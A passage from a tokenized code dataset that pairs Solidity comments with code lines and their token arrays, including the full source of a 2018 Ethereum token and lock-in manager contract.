0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
8492,
914,
4801,
2711,
12,
11890,
5034,
3844,
13,
1071,
1338,
858,
5541,
1162,
43,
1643,
82,
1359,
288,
203,
3639,
4508,
2045,
287,
67,
2316,
18,
13866,
12,
2867,
12,
6011,
3631,
3844,
1769,
203,
565,
289,
203,
27699,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x0B5Beca80CA90E1658cBfb5f72FFD2f47e14cE70/sources/GhettoSharkhood.sol | * The flag to save whether team has reserved 200 NFT or not./ | bool _teamClaimed_ = false;
| 3,098,798 | [
1,
1986,
2982,
358,
1923,
2856,
5927,
711,
8735,
4044,
423,
4464,
578,
486,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
1426,
389,
10035,
9762,
329,
67,
273,
629,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
//Address: 0x58b334f15d7c7e08287b4ae57d11f35e0c2ad497
//Contract name: LockinManager
//Balance: 0 Ether
//Verification Date: 2/1/2018
//Transacion Count: 24
// CODE STARTS HERE
pragma solidity ^0.4.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/* The authentication manager details user accounts that have access to certain priviledges and keeps a permanent ledger of who has and has had these rights. */
contract AuthenticationManager {
/* Map addresses to admins */
mapping (address => bool) adminAddresses;
/* Map addresses to account readers */
mapping (address => bool) accountReaderAddresses;
/* Map addresses to account minters */
mapping (address => bool) accountMinterAddresses;
/* Details of all admins that have ever existed */
address[] adminAudit;
/* Details of all account readers that have ever existed */
address[] accountReaderAudit;
/* Details of all account minters that have ever existed */
address[] accountMinterAudit;
/* Fired whenever an admin is added to the contract. */
event AdminAdded(address addedBy, address admin);
/* Fired whenever an admin is removed from the contract. */
event AdminRemoved(address removedBy, address admin);
/* Fired whenever an account-reader contract is added. */
event AccountReaderAdded(address addedBy, address account);
/* Fired whenever an account-reader contract is removed. */
event AccountReaderRemoved(address removedBy, address account);
/* Fired whenever an account-minter contract is added. */
event AccountMinterAdded(address addedBy, address account);
/* Fired whenever an account-minter contract is removed. */
event AccountMinterRemoved(address removedBy, address account);
/* When this contract is first setup we use the creator as the first admin */
function AuthenticationManager() {
/* Set the first admin to be the person creating the contract */
adminAddresses[msg.sender] = true;
AdminAdded(0, msg.sender);
adminAudit.length++;
adminAudit[adminAudit.length - 1] = msg.sender;
}
/* Gets whether or not the specified address is currently an admin */
function isCurrentAdmin(address _address) constant returns (bool) {
return adminAddresses[_address];
}
/* Gets whether or not the specified address has ever been an admin */
function isCurrentOrPastAdmin(address _address) constant returns (bool) {
for (uint256 i = 0; i < adminAudit.length; i++)
if (adminAudit[i] == _address)
return true;
return false;
}
/* Gets whether or not the specified address is currently an account reader */
function isCurrentAccountReader(address _address) constant returns (bool) {
return accountReaderAddresses[_address];
}
/* Gets whether or not the specified address has ever been an admin */
function isCurrentOrPastAccountReader(address _address) constant returns (bool) {
for (uint256 i = 0; i < accountReaderAudit.length; i++)
if (accountReaderAudit[i] == _address)
return true;
return false;
}
/* Gets whether or not the specified address is currently an account minter */
function isCurrentAccountMinter(address _address) constant returns (bool) {
return accountMinterAddresses[_address];
}
/* Gets whether or not the specified address has ever been an admin */
function isCurrentOrPastAccountMinter(address _address) constant returns (bool) {
for (uint256 i = 0; i < accountMinterAudit.length; i++)
if (accountMinterAudit[i] == _address)
return true;
return false;
}
/* Adds a user to our list of admins */
function addAdmin(address _address) {
/* Ensure we're an admin */
if (!isCurrentAdmin(msg.sender))
throw;
// Fail if this account is already admin
if (adminAddresses[_address])
throw;
// Add the user
adminAddresses[_address] = true;
AdminAdded(msg.sender, _address);
adminAudit.length++;
adminAudit[adminAudit.length - 1] = _address;
}
/* Removes a user from our list of admins but keeps them in the history audit */
function removeAdmin(address _address) {
/* Ensure we're an admin */
if (!isCurrentAdmin(msg.sender))
throw;
/* Don't allow removal of self */
if (_address == msg.sender)
throw;
// Fail if this account is already non-admin
if (!adminAddresses[_address])
throw;
/* Remove this admin user */
adminAddresses[_address] = false;
AdminRemoved(msg.sender, _address);
}
/* Adds a user/contract to our list of account readers */
function addAccountReader(address _address) {
/* Ensure we're an admin */
if (!isCurrentAdmin(msg.sender))
throw;
// Fail if this account is already in the list
if (accountReaderAddresses[_address])
throw;
// Add the account reader
accountReaderAddresses[_address] = true;
AccountReaderAdded(msg.sender, _address);
accountReaderAudit.length++;
accountReaderAudit[accountReaderAudit.length - 1] = _address;
}
/* Removes a user/contracts from our list of account readers but keeps them in the history audit */
function removeAccountReader(address _address) {
/* Ensure we're an admin */
if (!isCurrentAdmin(msg.sender))
throw;
// Fail if this account is already not in the list
if (!accountReaderAddresses[_address])
throw;
/* Remove this account reader */
accountReaderAddresses[_address] = false;
AccountReaderRemoved(msg.sender, _address);
}
/* Add a contract to our list of account minters */
function addAccountMinter(address _address) {
/* Ensure we're an admin */
if (!isCurrentAdmin(msg.sender))
throw;
// Fail if this account is already in the list
if (accountMinterAddresses[_address])
throw;
// Add the minter
accountMinterAddresses[_address] = true;
AccountMinterAdded(msg.sender, _address);
accountMinterAudit.length++;
accountMinterAudit[accountMinterAudit.length - 1] = _address;
}
/* Removes a user/contracts from our list of account readers but keeps them in the history audit */
function removeAccountMinter(address _address) {
/* Ensure we're an admin */
if (!isCurrentAdmin(msg.sender))
throw;
// Fail if this account is already not in the list
if (!accountMinterAddresses[_address])
throw;
/* Remove this minter account */
accountMinterAddresses[_address] = false;
AccountMinterRemoved(msg.sender, _address);
}
}
/* The Token itself is a simple extension of the ERC20 that allows for granting other Token contracts special rights to act on behalf of all transfers. */
contract Token {
using SafeMath for uint256;
/* Map all our our balances for issued tokens */
mapping (address => uint256) public balances;
/* Map between users and their approval addresses and amounts */
mapping(address => mapping (address => uint256)) allowed;
/* List of all token holders */
address[] allTokenHolders;
/* The name of the contract */
string public name;
/* The symbol for the contract */
string public symbol;
/* How many DPs are in use in this contract */
uint8 public decimals;
/* Defines the current supply of the token in its own units */
uint256 totalSupplyAmount = 0;
/* Defines the address of the Refund Manager contract which is the only contract to destroy tokens. */
address public refundManagerContractAddress;
/* Defines the admin contract we interface with for credentails. */
AuthenticationManager authenticationManager;
/* Instance of lockin contract */
LockinManager lockinManager;
/** @dev Returns the balance that a given address has available for transfer.
* @param _owner The address of the token owner.
*/
function availableBalance(address _owner) constant returns(uint256) {
uint256 length = lockinManager.getLocks(_owner);
uint256 lockedValue = 0;
for(uint256 i = 0; i < length; i++) {
if(lockinManager.getLocksUnlockDate(_owner, i) > now) {
uint256 _value = lockinManager.getLocksAmount(_owner, i);
lockedValue = lockedValue.add(_value);
}
}
return balances[_owner].sub(lockedValue);
}
/* Fired when the fund is eventually closed. */
event FundClosed();
/* Our transfer event to fire whenever we shift SMRT around */
event Transfer(address indexed from, address indexed to, uint256 value);
/* Our approval event when one user approves another to control */
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
/* Create a new instance of this fund with links to other contracts that are required. */
function Token(address _authenticationManagerAddress) {
// Setup defaults
name = "PIE (Authorito Capital)";
symbol = "PIE";
decimals = 18;
/* Setup access to our other contracts */
authenticationManager = AuthenticationManager(_authenticationManagerAddress);
}
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
/* This modifier allows a method to only be called by account readers */
modifier accountReaderOnly {
if (!authenticationManager.isCurrentAccountReader(msg.sender)) throw;
_;
}
/* This modifier allows a method to only be called by current admins */
modifier adminOnly {
if (!authenticationManager.isCurrentAdmin(msg.sender)) throw;
_;
}
function setLockinManagerAddress(address _lockinManager) adminOnly {
lockinManager = LockinManager(_lockinManager);
}
function setRefundManagerContract(address _refundManagerContractAddress) adminOnly {
refundManagerContractAddress = _refundManagerContractAddress;
}
/* Transfer funds between two addresses that are not the current msg.sender - this requires approval to have been set separately and follows standard ERC20 guidelines */
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3) returns (bool) {
if (availableBalance(_from) >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to].add(_amount) > balances[_to]) {
bool isNew = balances[_to] == 0;
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
if (isNew)
tokenOwnerAdd(_to);
if (balances[_from] == 0)
tokenOwnerRemove(_from);
Transfer(_from, _to, _amount);
return true;
}
return false;
}
/* Returns the total number of holders of this currency. */
function tokenHolderCount() accountReaderOnly constant returns (uint256) {
return allTokenHolders.length;
}
/* Gets the token holder at the specified index. */
function tokenHolder(uint256 _index) accountReaderOnly constant returns (address) {
return allTokenHolders[_index];
}
/* Adds an approval for the specified account to spend money of the message sender up to the defined limit */
function approve(address _spender, uint256 _amount) onlyPayloadSize(2) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
/* Gets the current allowance that has been approved for the specified spender of the owner address */
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/* Gets the total supply available of this token */
function totalSupply() constant returns (uint256) {
return totalSupplyAmount;
}
/* Gets the balance of a specified account */
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
/* Transfer the balance from owner's account to another account */
function transfer(address _to, uint256 _amount) onlyPayloadSize(2) returns (bool) {
/* Check if sender has balance and for overflows */
if (availableBalance(msg.sender) < _amount || balances[_to].add(_amount) < balances[_to])
return false;
/* Do a check to see if they are new, if so we'll want to add it to our array */
bool isRecipientNew = balances[_to] == 0;
/* Add and subtract new balances */
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
/* Consolidate arrays if they are new or if sender now has empty balance */
if (isRecipientNew)
tokenOwnerAdd(_to);
if (balances[msg.sender] <= 0)
tokenOwnerRemove(msg.sender);
/* Fire notification event */
Transfer(msg.sender, _to, _amount);
return true;
}
/* If the specified address is not in our owner list, add them - this can be called by descendents to ensure the database is kept up to date. */
function tokenOwnerAdd(address _addr) internal {
/* First check if they already exist */
uint256 tokenHolderCount = allTokenHolders.length;
for (uint256 i = 0; i < tokenHolderCount; i++)
if (allTokenHolders[i] == _addr)
/* Already found so we can abort now */
return;
/* They don't seem to exist, so let's add them */
allTokenHolders.length++;
allTokenHolders[allTokenHolders.length - 1] = _addr;
}
/* If the specified address is in our owner list, remove them - this can be called by descendents to ensure the database is kept up to date. */
function tokenOwnerRemove(address _addr) internal {
/* Find out where in our array they are */
uint256 tokenHolderCount = allTokenHolders.length;
uint256 foundIndex = 0;
bool found = false;
uint256 i;
for (i = 0; i < tokenHolderCount; i++)
if (allTokenHolders[i] == _addr) {
foundIndex = i;
found = true;
break;
}
/* If we didn't find them just return */
if (!found)
return;
/* We now need to shuffle down the array */
for (i = foundIndex; i < tokenHolderCount - 1; i++)
allTokenHolders[i] = allTokenHolders[i + 1];
allTokenHolders.length--;
}
/* Mint new tokens - this can only be done by special callers (i.e. the ICO management) during the ICO phase. */
function mintTokens(address _address, uint256 _amount) onlyPayloadSize(2) {
/* if it is comming from account minter */
if ( ! authenticationManager.isCurrentAccountMinter(msg.sender))
throw;
/* Mint the tokens for the new address*/
bool isNew = balances[_address] == 0;
totalSupplyAmount = totalSupplyAmount.add(_amount);
balances[_address] = balances[_address].add(_amount);
lockinManager.defaultLockin(_address, _amount);
if (isNew)
tokenOwnerAdd(_address);
Transfer(0, _address, _amount);
}
/** This will destroy the tokens of the investor and called by sale contract only at the time of refund. */
function destroyTokens(address _investor, uint256 tokenCount) returns (bool) {
/* Can only be called by refund manager, also refund manager address must not be empty */
if ( refundManagerContractAddress == 0x0 || msg.sender != refundManagerContractAddress)
throw;
uint256 balance = availableBalance(_investor);
if (balance < tokenCount) {
return false;
}
balances[_investor] -= tokenCount;
totalSupplyAmount -= tokenCount;
if(balances[_investor] <= 0)
tokenOwnerRemove(_investor);
return true;
}
}
contract LockinManager {
using SafeMath for uint256;
/*Defines the structure for a lock*/
struct Lock {
uint256 amount;
uint256 unlockDate;
uint256 lockedFor;
}
/*Object of Lock*/
Lock lock;
/*Value of default lock days*/
uint256 defaultAllowedLock = 7;
/* mapping of list of locked address with array of locks for a particular address */
mapping (address => Lock[]) public lockedAddresses;
/* mapping of valid contracts with their lockin timestamp */
mapping (address => uint256) public allowedContracts;
/* list of locked days mapped with their locked timestamp*/
mapping (uint => uint256) public allowedLocks;
/* Defines our interface to the token contract */
Token token;
/* Defines the admin contract we interface with for credentails. */
AuthenticationManager authenticationManager;
/* Fired whenever lock day is added by the admin. */
event LockedDayAdded(address _admin, uint256 _daysLocked, uint256 timestamp);
/* Fired whenever lock day is removed by the admin. */
event LockedDayRemoved(address _admin, uint256 _daysLocked, uint256 timestamp);
/* Fired whenever valid contract is added by the admin. */
event ValidContractAdded(address _admin, address _validAddress, uint256 timestamp);
/* Fired whenever valid contract is removed by the admin. */
event ValidContractRemoved(address _admin, address _validAddress, uint256 timestamp);
/* Create a new instance of this fund with links to other contracts that are required. */
function LockinManager(address _token, address _authenticationManager) {
/* Setup access to our other contracts and validate their versions */
token = Token(_token);
authenticationManager = AuthenticationManager(_authenticationManager);
}
/* This modifier allows a method to only be called by current admins */
modifier adminOnly {
if (!authenticationManager.isCurrentAdmin(msg.sender)) throw;
_;
}
/* This modifier allows a method to only be called by token contract */
modifier validContractOnly {
require(allowedContracts[msg.sender] != 0);
_;
}
/* Gets the length of locked values for an account */
function getLocks(address _owner) validContractOnly constant returns (uint256) {
return lockedAddresses[_owner].length;
}
function getLock(address _owner, uint256 count) validContractOnly returns(uint256 amount, uint256 unlockDate, uint256 lockedFor) {
amount = lockedAddresses[_owner][count].amount;
unlockDate = lockedAddresses[_owner][count].unlockDate;
lockedFor = lockedAddresses[_owner][count].lockedFor;
}
/* Gets amount for which an address is locked with locked index */
function getLocksAmount(address _owner, uint256 count) validContractOnly returns(uint256 amount) {
amount = lockedAddresses[_owner][count].amount;
}
/* Gets unlocked timestamp for which an address is locked with locked index */
function getLocksUnlockDate(address _owner, uint256 count) validContractOnly returns(uint256 unlockDate) {
unlockDate = lockedAddresses[_owner][count].unlockDate;
}
/* Gets days for which an address is locked with locked index */
function getLocksLockedFor(address _owner, uint256 count) validContractOnly returns(uint256 lockedFor) {
lockedFor = lockedAddresses[_owner][count].lockedFor;
}
/* Locks tokens for an address for the default number of days */
function defaultLockin(address _address, uint256 _value) validContractOnly
{
lockIt(_address, _value, defaultAllowedLock);
}
/* Locks tokens for sender for n days*/
function lockForDays(uint256 _value, uint256 _days)
{
require( ! ifInAllowedLocks(_days));
require(token.availableBalance(msg.sender) >= _value);
lockIt(msg.sender, _value, _days);
}
function lockIt(address _address, uint256 _value, uint256 _days) internal {
// expiry will be calculated as 24 * 60 * 60
uint256 _expiry = now + _days.mul(86400);
lockedAddresses[_address].push(Lock(_value, _expiry, _days));
}
/* Check if input day is present in locked days */
function ifInAllowedLocks(uint256 _days) constant returns(bool) {
return allowedLocks[_days] == 0;
}
/* Adds a day to our list of allowedLocks */
function addAllowedLock(uint _day) adminOnly {
// Fail if day is already present in locked days
if (allowedLocks[_day] != 0)
throw;
// Add day in locked days
allowedLocks[_day] = now;
LockedDayAdded(msg.sender, _day, now);
}
/* Remove allowed Lock */
function removeAllowedLock(uint _day) adminOnly {
// Fail if day doesnot exist in allowedLocks
if ( allowedLocks[_day] == 0)
throw;
/* Remove locked day */
allowedLocks[_day] = 0;
LockedDayRemoved(msg.sender, _day, now);
}
/* Adds a address to our list of allowedContracts */
function addValidContract(address _address) adminOnly {
// Fail if address is already present in valid contracts
if (allowedContracts[_address] != 0)
throw;
// add an address in allowedContracts
allowedContracts[_address] = now;
ValidContractAdded(msg.sender, _address, now);
}
/* Removes allowed contract from the list of allowedContracts */
function removeValidContract(address _address) adminOnly {
// Fail if address doesnot exist in allowedContracts
if ( allowedContracts[_address] == 0)
throw;
/* Remove allowed contract from allowedContracts */
allowedContracts[_address] = 0;
ValidContractRemoved(msg.sender, _address, now);
}
/* Set default allowed lock */
function setDefaultAllowedLock(uint _days) adminOnly {
defaultAllowedLock = _days;
}
}
| mapping of valid contracts with their lockin timestamp */ | mapping (address => uint256) public allowedContracts;
| 12,838,853 | [
1,
6770,
434,
923,
20092,
598,
3675,
2176,
267,
2858,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
1071,
2935,
20723,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0xdca0641e507709FFE7e1e532533aC84e2c27c4bF/sources/localhost/staking/libs/LibFixedMath.sol | add y^16 * (20! / 16!)
| z = z * y / FIXED_1; r += z * 0x000000000001c638; | 3,221,399 | [
1,
1289,
677,
66,
2313,
225,
261,
3462,
5,
342,
2872,
24949,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
998,
273,
998,
380,
677,
342,
26585,
67,
21,
31,
436,
1011,
998,
380,
374,
92,
2787,
9449,
1611,
71,
4449,
28,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
